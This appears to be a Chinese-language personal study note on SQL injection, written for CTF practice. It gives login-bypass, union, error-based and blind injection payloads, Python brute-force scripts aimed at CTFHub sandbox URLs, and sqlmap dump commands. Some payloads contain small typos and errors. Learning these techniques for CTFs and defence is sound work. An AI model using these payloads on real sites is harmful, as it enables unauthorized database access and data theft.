这周听了一节三个半小时的网课,有关sql注入,消除了我对sql注入的“恐惧”,也算是浅浅入了下门吧,虽然学会了点皮毛,但是还是成就感满满,哈哈哈,从0到0.001也是一件值得庆祝的事情。
目录
SQL语法基础
sql中常见的增删查改
增
删
查
sql中常见的运算符介绍
SQL注入基础
万能密码的原理和构造
原理
构造
例题
information_schema数据库
SCHEMAS表
TABLES表
COLUMNS表
应用
联合查询注入
使用类型
union 操作符
原理
列数查询
group_concat()
联合查询步骤
例题
报错注入
使用类型
相关函数(报错函数)
报错注入步骤
例题
布尔盲注
使用类型
相关函数
原理
脚本
例题
时间盲注
使用类型
相关函数
原理
脚本
SQLMAP的使用
sqlmap的常见语法
sqlmap的抓包注入(POST传参)
insert into 表名 values(字段值1,字段值2,字段值3,字段值4);【字段数和表内一致,整行插入】
insert into users values(1,'wmm',2000,'123');
insert into 表名(字段1,字段3);【选定部分字段插入】
insert into users(id,age) values(1,2000);
delete from 表名 where 字段名=字段值;【删除指定值】
delete from users where name='wmm';
select * from 表名;【查询该表下的全部信息】
select * from users;
select 列名 from 表名 where 字段名=字段值;【查找指定行】
select id from users where age=2000;
注意逻辑运算符的优先级(NOT>AND>OR,XOR)
AND | && | 逻辑与 |
OR | || | 逻辑或 |
XOR | ^ | 逻辑异或 |
NOT | ! | 逻辑非 |
登录注册页面传入的参数会被拼接成一句sql查询语句在数据库执行,要是存在则为“真”,登录成功若是不存在,则为“假”,登录失败
如图所示传入的参数为admin和123,在后台会拼接成:
select * from users where username='admin'and password='123';
但是如果我们在输入admin和1' or 1;#
就会被拼接成这样
select * from users where username='admin' and password='1' or 1;(#(%23)后的被忽略)
根据优先级,我们可以知道这句话是永“真”的,得到flag
BUUCTF Easy SQL
SCHEMAS表内存储的是该数据库下所有库名的信息,schema_name字段存储该数据库的所有库名
TABLES表内存储的是该数据库下所有表名的信息,table_name字段存储该数据库的所有表名,table_schema存储的是所有表对应的数据库名
COLUMNS表内存储的是该数据库下所有字段名的信息,column_name字段存储该数据库的所有字段名,table_name字段存储各个字段对应的表名,table_schema存储的是字段所在表对应的数据库名
查表:
select table_name from information_schema.tables where table_schema='库名';
查字段:
select column_name from information_schema.columns where table_schema='库名' and table_name='表名';
查对应值:
select 字段 from 表名;
页面会返回查询结果
union 操作符用于合并两个或多个select 语句的结果集。union内部的每个select语句必须拥有相同数量的列。
传参为1' union select table_name,2 from information_schema.tables where table_schema=database();到后台后会拼接成下面这样【database()代表当前数据库名称】
select * from users where id=1' union select table_name,2 from information_schema.tables where table_schema=database();
在列数相同的前提下,会返回当前数据库内的表名。
由于union select的前提是列数相同,我们需要知道列数才能采用联合注入;
法一 order by n:
order by n 意思是按照第n列排序
1' order by n;#
将n从1递增改变,当页面突然有回显或者报错时代表列数不对,没有第n列,说明只有n-1列。
法二 select:
1' union select * 1;
1' union select * 1,2;
1' union select * 1,2,3;
我们可以一个一个增加直到页面有回显,查询成功
有些页面回显只显示一条,如果我们的结果有多条就可以用group_concat()函数将结果用一行显示,有时传入的参数要为一条不存在的数据,不然显示的就只有前面那条后面查询的数据就回显不出来了
1.确定列数
1' order by 2;#
2.确定注入的列(有些题目在1,2,3;列中只有一个位置可以有回显,我们一个一个尝试)
3.查表
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database();#
4.查字段
1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='';#
5.查值
1' union select column from table;#
ctfhub 字符注入
BUUCTF LoveSql
页面会回显报错,不回显查询结果
extractvalue:
extractvalue(1,concat(0x5c,database()))
执行database()所在位置的命令,将返回值以报错的形式回显到页面上
updatexml:
updatexml(0x3a,concat(1,database()),1)
执行database()所在位置的命令,将返回值以报错的形式回显到页面上
#查表名
1 and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database())))
#查字段
1 and extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_schema=database() and table_name='表名')))
#查值
1 and extractvalue(1,concat(0x5c,(select column from table)))
#查询语句最好加上括号防止出错
ctfhub 报错注入
没有报错没有回显,会显示是否登录成功等等
if
if(exper,v1,v2)如果exper是对的返回v1,否则返回 v2
ascii
asscii(a)返回参数a的ascii值
substr
substr(s,start,length),返回字符串s从strat开始到length长度的字符串
用法:
if(ascii(substr(database(),1,0)=97,1,0)
如果当前的数据库第一个字母是a则if语句的值是1,反之为0
1 and if(ascii(substr(database(),1,0)=97,1,0)
0 or if(ascii(substr(database(),1,0)=97,1,0)
如果if语句为真则页面显示正确,借此穷举得到信息
import string
import requests
s=string.ascii_lowercase+string.digits+'{-,}'
url="http://challenge-f175871c818d5993.sandbox.ctfhub.com:10800/?id=0||"
flag=""
for i in range(1,50):
print(i)
for j in s :
u=url+"if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',1,0)%23".format(i,j)
r=requests.get(u)
#如果页面回显正确
if "query_success" in r.text:
flag+=j
print(flag)
break
ctfhub 布尔注入
什么回显都没有
if
if(exper,v1,v2)如果exper是对的返回v1,否则返回 v2
ascii
asscii(a)返回参数a的ascii值
substr
substr(s,start,length),返回字符串s从strat开始到length长度的字符串
sleep()
sleep(1)页面刷新或者回显晚1秒
1 and if(ascii(substr(database(),sleep(1),0)=97,1,0)
0 or if(ascii(substr(database(),sleep(1),0)=97,1,0)
如果if语句是对的页面刷新会晚1秒, 借此穷举得到信息
import string
import time
import requests
s=string.ascii_lowercase+string.digits+'{-,}'
url="http://challenge-5e11302ef8a9c63a.sandbox.ctfhub.com:10800/?id=0||"
flag=""
for i in range(1,50):
print(i)
for j in s :
u=url+"if(substr((select flag from flag),{0},1)='{1}',sleep(1),0)%23".format(i,j)
t1=time.time()
r=requests.get(u)
t2=time.time()
if t2-t1>1:
flag+=j
print(flag)
break
获取库名
python sqlmap.py -u "url" --dbs
获取表名
python sqImap.py -u "url" -D database --tables
获取列名
python sqlmap.py -u "url" -D database -T tablename --columns
获取字段名
python sqlmap.py -u "url" -D database -T tablename -C columnname --dump
用时间注入的方式得到字段名
python sqlmap.py -u "url" --tchnique=T -D database -T tablename -C columnname --dump
线程为10的时间注入得到字段名
python sqlmap.py -u "url" --tchnique=T thread=10 -D database -T tablename -C columnname --dump
1.传参抓包
2.将要注入的部分打上*用txt存储
3.用sqlmap
python sqlmap.py -r 文件的绝对路径